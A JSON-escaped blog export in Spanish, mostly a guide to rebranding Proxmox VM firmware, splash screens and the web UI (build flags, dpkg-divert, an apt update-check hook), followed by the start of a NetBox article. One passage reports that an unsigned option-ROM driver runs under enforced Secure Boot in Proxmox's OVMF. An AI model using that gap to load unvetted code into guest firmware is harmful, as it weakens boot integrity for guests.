opciones de «guardar para web» que activa sin avisar la codificación progresiva, que se ve idéntica en todos los visores de imágenes que tienes y deja a SeaBIOS sin dibujar nada.\nLa trampa de los colores Esta costó una tarde. El mismo JPEG, dibujado por dos compilaciones de SeaBIOS 1.17.0, sale en dos colores distintos:\nEstá en el jpeg.c de SeaBIOS. El escritor de 24 bits por píxel tiene una rama little-endian que pone el azul en el primer byte de cada píxel, y el escritor de 32 bits por píxel, PIC_32, no tiene esa rama y escribe ahí el rojo21. En un framebuffer little-endian eso intercambia el rojo y el azul. El azul sale dorado, y el naranja saldría azul.\nQué escritor corre depende del modo de vídeo que ofrezca la VGA BIOS:\nFirmware Modo VBE para 640×480 Bits por píxel Colores El SeaBIOS 1.17.0 precompilado de QEMU upstream, tal como lo entrega pve-qemu-kvm 11.0.3-4 0x111 16 correctos, cuantizados a 65.536 La compilación propia de seabios 1.17.0-10 de Fedora 44 0x142 32 rojo y azul intercambiados Los números de modo son de la propia tabla de SeaBIOS22, y la fila de Proxmox se comprobó contra los mismos blobs del paquete: idénticos byte a byte al precompilado de QEMU rel-1.17.0-0-gb52ca86e094d. Así que en Proxmox tus colores salen bien, pero solo hay 65.536, y un degradado sutil hará bandas. Y si alguna vez tu logo sale con los colores mal en otro hipervisor, no es tu JPEG.\nEl logo UEFI está compilado dentro del firmware Los invitados UEFI son la mitad difícil, y en un Proxmox moderno son la mayoría.\nNo hay opción de splash que sobrescribir. El logo es un mapa de bits dentro de la imagen del firmware, y la compilación de Proxmox lo mete ahí con una línea en debian/rules:\ndebian/setup-build-stamp: cp -a debian/Logo.bmp MdeModulePkg/Logo/Logo.bmp Eso copia su Logo.bmp de 400×120 y 8 bits encima del de TianoCore antes de compilar edk223. El mismo fichero fija el fabricante del firmware como constante de compilación, PcdFirmwareVendor=L\u0026quot;Proxmox distribution of EDK II\u0026quot;, que es de donde sale el fabricante del tipo 0 de la primera tabla23.\nLogo nuevo, firmware nuevo. La forma de conseguir uno que se comporte exactamente como el de Proxmox es compilarlo exactamente como lo hace Proxmox: su árbol en la etiqueta que corresponde al paquete que entregan, sus parches, sus flags, y un mapa de bits cambiado. pve-edk2-firmware 4.2026.08-1 fija edk2 en 2970e56, que es la etiqueta upstream edk2-stable20260823.\ngit clone https://git.proxmox.com/git/pve-edk2-firmware.git cd pve-edk2-firmware git checkout f37039e52d228a7844a90aa2aaf1e161ebd04fcd # 4.2026.08-1 git submodule update --init --recursive cd edk2 QUILT_PATCHES=../debian/patches quilt push -a cp /path/to/your/Logo.bmp MdeModulePkg/Logo/Logo.bmp . ./edksetup.sh \u0026amp;\u0026amp; make -C BaseTools F=\u0026#34;-DNETWORK_HTTP_BOOT_ENABLE=TRUE -DNETWORK_IP6_ENABLE=TRUE -DNETWORK_TLS_ENABLE -DSECURE_BOOT_ENABLE=TRUE -DPVSCSI_ENABLE=TRUE -DTPM2_ENABLE=TRUE --pcd PcdUninstallMemAttrProtocol=TRUE -DFD_SIZE_4MB\u0026#34; P=(--pcd \u0026#34;PcdFirmwareVendor=LExample Cloud Ltd\\\\0\u0026#34; --pcd \u0026#34;PcdFirmwareVersionString=L4.2026.08-1+ec1\\\\0\u0026#34;) build -a IA32 -a X64 -t GCC -p OvmfPkg/OvmfPkgIa32X64.dsc $F \u0026#34;${P[@]}\u0026#34; -b RELEASE cp Build/Ovmf3264/RELEASE_GCC/FV/OVMF_CODE.fd OVMF_CODE_4M.fd rm -rf Build/Ovmf3264 build -a IA32 -a X64 -t GCC -p OvmfPkg/OvmfPkgIa32X64.dsc $F -DSMM_REQUIRE=TRUE \u0026#34;${P[@]}\u0026#34; -b RELEASE cp Build/Ovmf3264/RELEASE_GCC/FV/OVMF_CODE.fd OVMF_CODE_4M.secboot.fd Los flags están sacados de debian/rules tal como está en ese commit. Cuidado con la cadena del fabricante: su Makefile la escribe entre comillas dobles, el shell de make las quita y edk2 la recibe desnuda, así que así se pasa aquí, y entrecomillarla otra vez es un error de compilación. Deja el mapa de bits en 400×120 y 8 bits como el suyo y nada más se mueve en la pantalla de arranque.\nNecesitas las dos imágenes. qemu-server arranca cualquier VM Q35 con un disco EFI de 4M en OVMF_CODE_4M.secboot.fd, la compilación con SMM obligatorio, y usa el OVMF_CODE_4M.fd normal solo para i440fx24. En un Proxmox actual, la secboot es la que corre casi cualquier invitado UEFI.\nCompilada así, sin cambiar nada del árbol de Proxmox salvo el mapa de bits y dos cadenas, la imagen SMM arranca así:\nY la vista que tiene el invitado de su propio firmware cambia con ella, sin una sola opción -smbios en la línea de comandos:\nLeído dentro del invitado El 4.2026.08-1 de Proxmox Recompilado desde el mismo árbol Fabricante del firmware Proxmox distribution of EDK II Example Cloud Ltd Versión del firmware 4.2026.08-1 4.2026.08-1+ec1 «UEFI is supported» aparece aparece Tablas ACPI BGRT, WSMT y las demás el mismo conjunto Eso hace del fabricante en tiempo de compilación la mejor respuesta para los invitados UEFI. Es el propio tipo 0 de OVMF, así que el bit UEFI se queda en su sitio sin que nadie tenga que acordarse de uefi=on. La vía de args para el tipo 0 es para los invitados SeaBIOS, y para quien no recompile firmware en absoluto.\nDos formas de darle el firmware nuevo a una VM qemu-server tiene grabado dónde busca el firmware: OVMF.pm guarda una tabla de rutas bajo /usr/share/pve-edk2-firmware/, indexada por tipo de máquina y opciones de Secure Boot, y no hay ninguna opción en la config de la VM, la GUI ni la API que elija otro fichero24. Quedan dos vías.\nCompilar un OVMF con tu marca y las dos formas de dárselo a una VM El árbol de Proxmox pve-edk2-firmware 4.2026.08-1 Tu marca Logo.bmp + cadena de fabricante Misma compilación, mismos flags OVMF_CODE_4M.fd + .secboot.fd A: desviar en cada nodo toda VM UEFI lo recibe, sin cambiar ninguna config B: por VM con args se activa VM a VM, ficheros de Proxmox intactos apt full-upgrade llega el firmware nuevo de Proxmox, el tuyo se queda viejo Hook Post-Invoke las versiones difieren: recompila antes del próximo arranque Una compilación, dos vías de entrada. En las dos, la siguiente actualización instala el firmware nuevo de Proxmox junto al tuyo y deja el tuyo como estaba, que es por lo que existe el hook de abajo. Vía A: desviarlo en cada nodo. Dile a dpkg que las dos imágenes de código de Proxmox ahora van a otro sitio, y pon las tuyas donde estaban:\nD=/usr/share/pve-edk2-firmware for f in OVMF_CODE_4M.fd OVMF_CODE_4M.secboot.fd; do dpkg-divert --package example-branding --add --rename --divert \u0026#34;$D/$f.distrib\u0026#34; \u0026#34;$D/$f\u0026#34; install -m 0644 \u0026#34;/root/branding/$f\u0026#34; \u0026#34;$D/$f\u0026#34; done Desde su próximo arranque, cada VM UEFI del nodo arranca tu firmware. Sin tocar ninguna config de VM.\nVía B: apuntar a ella las VM que elijas. Guarda las imágenes en tu propio directorio y sustituye el firmware VM a VM. Desde el paso a -blockdev, qemu-server conecta la imagen de código como un nodo de bloque llamado pflash0 y lo nombra en -machine24, y QEMU fusiona un segundo -machine igual que fusiona -boot, así que args puede añadir un nodo propio y apuntar pflash0 a ese:\nargs: -blockdev driver=raw,node-name=brandcode,read-only=on,file.driver=file,file.filename=/usr/local/share/example-branding/OVMF_CODE_4M.secboot.fd -machine pflash0=brandcode Eso se probó por el camino largo. El firmware secboot de Proxmox se conectó como pflash0 exactamente como lo hace qemu-server, con SMM activado, luego se añadió esa línea args detrás, y el invitado arrancó la imagen con tu marca, con el logo y la cadena del fabricante, que es de donde salió la captura de arriba.\nVía A, desviar Vía B, args por VM Qué VM la reciben todas las VM UEFI del nodo solo las VM donde la pongas Los ficheros de Proxmox movidos a .distrib intactos Config de la VM sin cambios una línea args, solo root El tipo de máquina debe coincidir resuelto, se desvían las dos imágenes cosa tuya: imagen secboot para Q35 Deshacer dpkg-divert --remove --rename borrar la línea Migración el nodo destino también tiene que estar desviado el nodo destino tiene que tener el fichero La imagen de código ocupa unos 3,5 MB, frente a un límite de 1 MiB por fichero en pmxcfs20. Como tal, no puede ir en /etc/pve, y elijas la vía que elijas, hay que ponerla en cada nodo. Migra una VM a un nodo que no la tiene y obtienes uno de dos resultados, según la vía: con la vía A, otra vez el firmware y el logo de Proxmox, y con la vía B, una VM que no arranca en absoluto porque QEMU no puede abrir un fichero que no está.\nLa actualización que te deja atrás Una desviación es la herramienta correcta para un logo. El firmware es otra cosa.\nUna desviación significa que las actualizaciones de Proxmox ya no llegan al fichero. Eso es exactamente lo que pediste. También es exactamente lo que impide que los arreglos de seguridad de edk2 lleguen a tus invitados: el changelog de Proxmox para 4.2026.08-1 empieza con «Besides many bug and security fixes» y luego incluye un arreglo para CVE-2024-1374525, y una compilación con tu marca de la versión anterior no tiene nada de eso. Nada te avisa.\nEso se probó, no se supuso. En un contenedor Debian trixie con el repositorio de Proxmox, se instaló pve-edk2-firmware-ovmf 4.2025.05-3, se desviaron las dos imágenes de código, y el paquete se actualizó a 4.2026.08-1:\nDespués de la actualización Resultado dpkg-query -W pve-edk2-firmware-ovmf 4.2026.08-1 La imagen nueva de Proxmox instalada como OVMF_CODE_4M.fd.distrib, con el hash cambiado La imagen con tu marca sin cambios, sigue compilada desde 4.2025.05-3 Algo en la consola sobre ello nada, hasta el hook de abajo Así que añade un hook. apt lanza una lista de comandos DPkg::Post-Invoke después de cada ejecución de dpkg26. Apunta desde qué versión de Proxmox compilaste, y compárala después de cada una:\ncat \u0026gt; /usr/local/sbin/example-branding-check \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/bin/sh built=$(cat /usr/local/share/example-branding/ovmf.built-from 2\u0026gt;/dev/null) now=$(dpkg-query -W -f \u0026#39;${Version}\u0026#39; pve-edk2-firmware-ovmf 2\u0026gt;/dev/null) [ \u0026#34;$built\u0026#34; = \u0026#34;$now\u0026#34; ] \u0026amp;\u0026amp; exit 0 echo \u0026#34;W: branded OVMF was built from pve-edk2-firmware-ovmf $built, Proxmox now ships $now.\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;W: guests still boot the old firmware. Rebuild before the next VM restart.\u0026#34; \u0026gt;\u0026amp;2 exit 0 EOF chmod +x /usr/local/sbin/example-branding-check echo \u0026#39;DPkg::Post-Invoke { \u0026#34;/usr/local/sbin/example-branding-check\u0026#34;; };\u0026#39; \\ \u0026gt; /etc/apt/apt.conf.d/80example-branding En esa misma actualización imprimió:\nW: branded OVMF was built from pve-edk2-firmware-ovmf 4.2025.05-3, Proxmox now ships 4.2026.08-1. W: guests still boot the old firmware. Rebuild before the next VM restart. Sale con 0 a propósito. apt aborta si falla un comando Post-Invoke26, y una comprobación de marca no es motivo para dejar un nodo a medio actualizar. Con un aviso bien alto basta.\nUna cosa más. Los reinicios. Un invitado solo coge el firmware nuevo cuando se reinicia su proceso QEMU, así que una recompilación significa parar y arrancar desde Proxmox, no reiniciar desde dentro del invitado, que es exactamente como las actualizaciones de firmware del propio Proxmox llegan también a una VM en marcha. Solo que esas no necesitan que te acuerdes antes de recompilar.\nO deja en paz el firmware de Proxmox Todas las vías para el logo hasta ahora cambian el firmware, y la sección anterior es la factura de eso. Hay una que no lo cambia, y se hizo un prototipo para este artículo.\nUn dispositivo PCI en QEMU puede llevar una option ROM, cualquier fichero que nombres con romfile=27, y OVMF ejecuta el driver EFI que encuentra ahí. La compilación de Proxmox lo ejecuta esté firmado o no: OVMF pone PcdOptionRomImageVerificationPolicy a 0x00, ejecutar siempre28. OVMF dibuja su propio logo tarde en la selección del dispositivo de arranque29 y monta la BGRT solo en ReadyToBoot, justo antes de pasar el control a un cargador de arranque. Y el driver BGRT de edk2 acepta una imagen de sustitución mediante EDKII_BOOT_LOGO2_PROTOCOL, y rehace la tabla en ReadyToBoot siempre que la imagen haya cambiado30.\nNo necesita más. El driver espera a ReadyToBoot en TPL_NOTIFY, que corre antes que el manejador TPL_CALLBACK del propio driver BGRT, limpia la pantalla, dibuja su logo y entrega esa misma imagen. Compilado, es un único fichero de 8 KB, conectado con una línea:\nargs: -device pci-testdev,romfile=/etc/pve/branding/brandrom.rom Con 8 KB queda de sobra dentro del límite de 1 MiB de pmxcfs20, así que, a diferencia de una imagen de firmware de 3,5 MB, puede vivir en /etc/pve y seguir a la VM a cualquier nodo.\nSe probó contra el propio firmware de Proxmox, sacado directamente de pve-edk2-firmware-ovmf 4.2026.08-1: OVMF_CODE_4M.secboot.fd con las claves de Microsoft precargadas en OVMF_VARS_4M.ms.fd, en Q35 con SMM, y arrancando con el shim firmado de Fedora para que Secure Boot estuviera activo y aplicándose:\nLeído desde el invitado Sin la ROM Con la ROM Variable SecureBoot 1 1 En pantalla el logo de Proxmox el de Proxmox unos 250 ms, luego el tuyo Imagen de la BGRT, 400×120 en 440,340 la de Proxmox, SHA-256 be5afe4b… la de la ROM, SHA-256 6c494576… Ficheros de firmware cambiados ninguno ninguno La última fila es lo que importa. El firmware de Proxmox está intacto, así que su próxima versión de seguridad llega a tus invitados con el siguiente reinicio, y nada de la sección anterior aplica.\nNo sale gratis:\nCoste Por qué El logo de Proxmox se ve durante un cuarto de segundo OVMF lo dibuja antes de que ningún driver de option ROM tenga la pantalla; solo una recompilación lo evita El invitado ve un dispositivo PCI más, sin driver la ROM tiene que ir montada en un dispositivo, y pci-testdev es el que no hace nada de QEMU El tipo 0 sigue diciendo Proxmox la cadena del fabricante está compilada dentro; ponla con args y uefi=on, como arriba Solo root es una línea args Y el hallazgo que hay debajo merece decirse claro. Un driver sin firmar corrió en el firmware de un invitado con las claves de Microsoft cargadas y Secure Boot aplicándose, porque el OVMF de Proxmox no comprueba las option ROM. Aquí eso es útil. También significa que en este firmware Secure Boot comprueba los cargadores de arranque, no lo que la config de hardware de la VM conecte, y como solo root escribe args, eso es una pregunta sobre quién tiene root en tus nodos.\nEs un prototipo. Ha corrido en QEMU 10.2.2 con el firmware de Proxmox, todavía no en un nodo Proxmox, y lo que sigue es código fuente, no un producto:\ngithub.com/damo2929/RebrandPCIRom: el driver de option ROM, el conversor de logo y la compilación en contenedor.\nLa interfaz web son dos paquetes El logo de arriba a la izquierda de la interfaz web no está en pve-manager. Workspace.js pide un componente proxmoxLogoSvg con el prefijo pwt, y ese vive en proxmox-widget-toolkit, que comparten Backup Server y Mail Gateway31. En pve-manager solo están los iconos de pestaña:\nQué Fichero Paquete Logo de la cabecera, dibujado a 200×35 /usr/share/javascript/proxmox-widget-toolkit/images/proxmox_logo.svg proxmox-widget-toolkit Icono de la pestaña del navegador /usr/share/pve-manager/images/favicon.ico pve-manager Icono de 128×128, también el icono táctil /usr/share/pve-manager/images/logo-128.png pve-manager Los tres son ficheros normales, así que esto es trabajo para dpkg-divert, y aquí el coste de la sección anterior no aplica en absoluto, porque un logo no tiene arreglos de seguridad que perderse y ningún invitado está menos seguro porque un nodo siga sirviendo el favicon del mes pasado.\ndivert() { dpkg-divert --package example-branding --add --rename --divert \u0026#34;$1.distrib\u0026#34; \u0026#34;$1\u0026#34; install -m 0644 \u0026#34;$2\u0026#34; \u0026#34;$1\u0026#34; } divert /usr/share/javascript/proxmox-widget-toolkit/images/proxmox_logo.svg /root/branding/logo.svg divert /usr/share/pve-manager/images/favicon.ico /root/branding/favicon.ico divert /usr/share/pve-manager/images/logo-128.png /root/branding/logo-128.png Probado en el mismo contenedor, contra paquetes reales:\nPaso Resultado Desviar en proxmox-widget-toolkit 5.2.9, instalar SVG propio el SVG de Proxmox renombrado a proxmox_logo.svg.distrib Actualizar a 5.2.10 el SVG propio sigue en su sitio, la copia 5.2.10 de Proxmox en .distrib dpkg --verify proxmox-widget-toolkit sin quejas, dpkg conoce la desviación apt-get install --reinstall proxmox-widget-toolkit el SVG propio sigue en su sitio dpkg-divert --remove --rename vuelve el original de Proxmox, byte a byte Dos cosas siguen siendo de Proxmox. La imagen de la cabecera se dibuja en una caja fija de 200×35, así que dibuja tu SVG con esa forma o saldrá aplastado. Y el texto alt dice Proxmox y la imagen enlaza a https://www.proxmox.com, ambos escritos en el componente JavaScript y no en un fichero que puedas desviar31. Cambiarlos significa parchear un bundle minificado que se rompe en cada actualización. No merece la pena por un texto alt.\nLo que te piden la licencia y la marca registrada de Proxmox Proxmox VE se licencia bajo la AGPL versión 332, y la sección 13 de esa licencia es la cláusula de red: «if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network … an opportunity to receive the Corresponding Source of your version»33. ¿Cambiar tres imágenes cuenta como modificar el Programa? Eso es para un abogado. La respuesta barata es poner tus imágenes y el script de desviación en algún sitio público y enlazarlo desde la página de inicio de sesión. No cuesta nada y zanja la cuestión.\nLa parte de la marca registrada está más clara. El kit de prensa de Proxmox dice «Don\u0026rsquo;t alter the logo or incorporate the logo or symbol into your logo»34. Así que sustituye el suyo del todo por el tuyo, nunca una versión recoloreada o retocada del suyo, y deja Proxmox fuera del nombre de tu producto.\nTu nombre encima significa tu mantenimiento Poner tu marca en una VM es barato. Un puñado de cadenas SMBIOS, un JPEG, un mapa de bits y tres imágenes en una interfaz web: una tarde de trabajo, la mayor parte buscando dónde vive cada cosa.\nConservarla es el trabajo de verdad. Y es la parte que se salta.\nLas cadenas SMBIOS y el splash se cuidan solos, porque viven en config que ningún paquete va a tocar jamás, y el logo de la interfaz web se cuida solo porque dpkg está avisado. El firmware no. El día que metiste tu logo en una imagen de firmware, te quedaste con un trozo del proceso de versiones de otro, y Proxmox compila, prueba y entrega firmware nuevo con arreglos de seguridad que sus clientes reciben con la siguiente actualización, y los tuyos reciben cuando a ti te dé por recompilar.\nEse trato está bien si se hace sabiendo lo que se hace. Una empresa de hosting cuyos invitados arrancan un firmware dos versiones atrasado porque el logo importaba más que el changelog no ha construido un producto. Ha construido una pegatina.\nSi tu nombre está en la pantalla de arranque, el firmware que hay detrás es tuyo y te toca tenerlo al día, lo escribiera quien lo escribiera. Nadie lo va a comprobar. Precisamente por eso hay que hacerlo.\nUEFI Forum, ACPI Specification 6.6, §5.2.23 Boot Graphics Resource Table — «The Boot Graphics Resource Table (BGRT) is an optional table that provides a mechanism to indicate that an image was drawn on the screen during boot». Copia archivada; la página en vivo devuelve 403 a las peticiones automáticas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Boot screen components — «This is the standard interface that Windows uses to access the logo.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Project, Changes/FlickerFreeBoot — «a new plymouth theme which incorporates the firmware\u0026rsquo;s bootsplash image»; el plymouth.spec de Fedora hace de bgrt el tema por defecto.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian, dpkg-divert(1), trixie — «File diversions are a way of forcing dpkg(1) not to install a file into its location, but to a diverted location.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDMTF, DSP0134 System Management BIOS Reference Specification 3.10.0 — tipo 1 System Information, tipo 2 placa base, tipo 3 «the system\u0026rsquo;s mechanical enclosure(s)», tipo 11 «free-form strings defined by the OEM».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox VE, qm.conf(5) — smbios1: «Specify SMBIOS type 1 fields»; args: «Arbitrary arguments passed to kvm … this option is for experts only.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, el formato smbios1 y el constructor de la línea de comandos — todos los campos menos uuid tienen el patrón [A-Za-z0-9+\\/]+={0,2}; los valores se decodifican cuando base64 está puesto.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-manager, www/manager6/Parser.js, printQemuSmbios1 — «smbios values can be arbitrary, so encode and mark config as such».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/API2/Qemu.pm, clonado — «auto generate a new uuid», los demás campos de smbios1 se conservan.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU, System Emulation, Invocation — campos de -smbios por tipo; -acpitable «For file=, take whole ACPI table from the specified files, including all ACPI headers»; -boot «Currently Seabios for X86 system support it.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.c — OVMF añade su propio tipo 0 solo cuando NeedSmbiosType0 sigue puesto después de recorrer las tablas de QEMU.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, args personalizados — los args se trocean y se añaden al final de la línea de comandos.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/API2/Qemu.pm, comprobaciones de permisos de la config — smbios1 es una opción de tipo hardware que necesita VM.Config.HWType; el caso por defecto «catches args, lock, etc.» y muere con «only root can set».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, la opción name — format =\u0026gt; 'dns-name'.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, vmgenid — «notify the guest operating system when the virtual machine is executed with a different configuration (e.g. snapshot execution or creation from a template)».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer/Memory.pm — memoria default =\u0026gt; 512; cores y sockets valen 1 por defecto en QemuServer.pm.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, vm_start — lock_config en la línea 5457, exec_hookscript($conf, $vmid, 'pre-start', 1) en la 5581, y config_to_command en la 5634 con el mismo $conf, sin recargarlo entre medias.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer.pm, -boot — menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.c — OVMF lee etc/boot-menu-wait, el valor de splash-time, y nada más de -boot.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/memdb.h — #define MEMDB_MAX_FILE_SIZE (1024 * 1024) // 1 MiB.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSeaBIOS, src/jpeg.c — PIC escribe primero el azul en little-endian, PIC_32 en la línea 946 escribe primero el rojo sin rama de endianness; ERR_NOT_SEQUENTIAL_DCT y ERR_NOT_YCBCR_221111 son los únicos formatos que rechaza.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSeaBIOS, vgasrc/svgamodes.c — el modo 0x111 es 640×480 a 16 bits, el 0x142 es 640×480 a 32.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-edk2-firmware, debian/rules en 4.2026.08-1 — cp -a debian/Logo.bmp MdeModulePkg/Logo/Logo.bmp, la cadena PcdFirmwareVendor y los flags de compilación de OVMF.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer/OVMF.pm — la tabla de firmware grabada bajo /usr/share/pve-edk2-firmware/, la elección de SMM y el nodo de bloque pflash0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-edk2-firmware, debian/changelog — 4.2026.08-1: «Besides many bug and security fixes … fix CVE-2024-13745».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian, apt.conf(5), trixie — «Pre-Invoke, Post-Invoke: This is a list of shell commands to run before/after invoking dpkg(1) … should any fail APT will abort.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU v11.0.3, hw/pci/pci.c — DEFINE_PROP_STRING(\u0026quot;romfile\u0026quot;, PCIDevice, romfile), una propiedad que tiene todo dispositivo PCI.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/OvmfPkgIa32X64.dsc — gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00, el fichero de plataforma que compila Proxmox.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/Library/PlatformBootManagerLib/BdsPlatform.c — BootLogoEnableLogo (), llamada desde PlatformBootManagerAfterConsole.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, BootGraphicsResourceTableDxe.c — SetBootLogo2 en la línea 239 copia la imagen; el manejador de ReadyToBoot en la 417 desinstala y reinstala la tabla «If BGRT data change happens».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nproxmox-widget-toolkit, src/Logo.js — proxmoxLogoSvg, 200×35, alt: 'Proxmox', enlazando a proxmox.com; usado desde Workspace.js de pve-manager con prefix: 'pwt'.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox VE wiki, FAQ — «Proxmox VE code is licensed under the GNU Affero General Public License, version 3.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGNU Affero General Public License v3, §13 Remote Network Interaction — citada completa en el texto de arriba.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox, Media kit — «Don\u0026rsquo;t alter the logo or incorporate the logo or symbol into your logo.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/proxmox/branding-a-proxmox-vm/","summary":"Una VM de Proxmox de serie muestra el logo de Proxmox al arrancar, dice Proxmox en la cadena de fabricante del firmware y se llama QEMU en cada tabla SMBIOS. Esto lo sustituye todo por el nombre de tu producto: los tipos SMBIOS 0, 1, 2, 3 y 11 con el número de serie y el SKU sacados del propio nombre y tamaño de la VM, el splash de SeaBIOS y su trampa de colores, un OVMF con tu marca compilado desde el propio árbol de Proxmox o un driver en option ROM que sustituye el logo y la BGRT con Secure Boot sin tocar el firmware, y el logo de la interfaz web. Cada cambio va donde una actualización no pueda deshacerlo en silencio, y el único que una actualización puede dejar peligrosamente desfasado, el firmware, lleva un hook que lo avisa.","title":"Poner tu marca en una VM de Proxmox, y conservarla tras la siguiente actualización"},{"content":"Todo lo que hay en este artículo se ejecutó contra un NetBox 4.7.2 en mi propio escritorio, con un parque real cargado dentro: un emplazamiento, un armario, catorce equipos, cableados, alimentados y direccionados entre tres clientes. Cada captura es esa instancia, y cada mensaje de error es uno que obtuve de verdad.\nVa en el orden en que te lo encontrarías. Qué es el bicho, por qué querrías uno, el fork del que oirás hablar en una semana de búsquedas, cómo levantar uno, el orden en que tienes que llenarlo, y luego lo que sacas de vuelta. El trabajo de personalización y extensión va al final, porque nada de eso tiene sentido antes de haber visto la forma de lo que estás extendiendo.\nQué es NetBox NetBox es una base de datos con una opinión muy concreta sobre de qué está hecha una red, y una aplicación web encima. Es una aplicación Django sobre PostgreSQL, es open source bajo Apache 2.0 desde que DigitalOcean la publicó en junio de 2016, y el proyecto está hoy a cargo de NetBox Labs junto a un equipo de mantenedores voluntarios.12\nPor debajo son 149 modelos repartidos en diez aplicaciones, alcanzables mediante 146 endpoints REST y un endpoint GraphQL. Contado sobre la instancia que construí para esto, no leído de una página de características:\nAplicación Modelos Aplicación Modelos dcim 56 virtualization 7 extras 23 tenancy 6 ipam 18 wireless 3 circuits 11 users 7 vpn 10 core 8 Cincuenta y seis de ellos son DCIM, la capa física: emplazamientos, ubicaciones, racks, tipos de equipo, equipos, y cada clase de puerto, bahía y terminación de cable que un equipo puede tener. Dieciocho son IPAM. El resto cubre circuitos, túneles y políticas IKE, máquinas virtuales y clústeres, enlaces inalámbricos, multicliente, y la maquinaria que hace extensible todo el conjunto.\nEl número no es lo importante. Los joins lo son, y la forma más rápida de verlo es la pantalla por la que NetBox es más conocido.\nEmpieza por el armario, porque es la pantalla que vende el producto.\nEsa elevación se dibuja a partir de los datos, no se sube. Cada equipo está ahí porque algo dice que ocupa esas unidades de rack, orientado de esa forma, y los colores vienen del rol que le diste. La utilización de espacio marca 28,6 % porque NetBox lo calculó. Nadie mantiene ese número.\nDe ahí se siguen dos cosas que valen más que la imagen.\nPuedes preguntar qué unidades están libres y obtener una respuesta con la que actuar. También puedes reservar unidades antes de que se instale nada en ellas, y esa es la diferencia entre vender espacio que tienes y vender espacio que crees que tienes.\nLo que deliberadamente no hará Un producto que sabe lo que no es resulta más raro que uno que lo hace todo mal, y la propia documentación de NetBox es tajante al respecto. No ofrece supervisión de red, ni servicio DNS, ni RADIUS, ni gestión de configuración, ni gestión de instalaciones.1\nMás importante: contiene el estado deseado de tu red, no su estado operativo, y la documentación dice que la importación automatizada del estado vivo de la red está «strongly discouraged», porque cada registro debería ser revisado primero por una persona.1\nEsa es la decisión sobre la que se apoya todo lo demás, y es la que la gente discute. El argumento va así: una fuente de verdad debería ser la verdad, así que descubre la red y cárgala. La respuesta es que una red descubierta te dice lo que hay, y lo que hay incluye cada error que alguien haya cometido jamás. Un puerto de conmutador dejado en la VLAN equivocada en 2021 es un hecho. No es una intención.\nNetBox contiene la intención. Tu supervisión contiene la realidad. El número interesante es la diferencia entre ambas, y una diferencia no se calcula con una sola entrada.\nEl otro principio se afirma con igual claridad: entre una solución relativamente simple al ochenta por ciento y una completa mucho más compleja, quédate con la simple.1 Lo notarás la primera vez que quieras modelar algo que no modela, y hacia el final hay toda una serie de secciones sobre qué hacer cuando llegues ahí.\nNetBox hace NetBox no hace Registrar lo que debería estar ahí Consultar lo que está ahí Contener la VLAN prevista para un puerto Decirte que el puerto está caído Decir de qué cliente es un prefijo Facturárselo Renderizar la configuración de un equipo desde una plantilla Empujarla al equipo Llevar el circuito, el proveedor y el compromiso 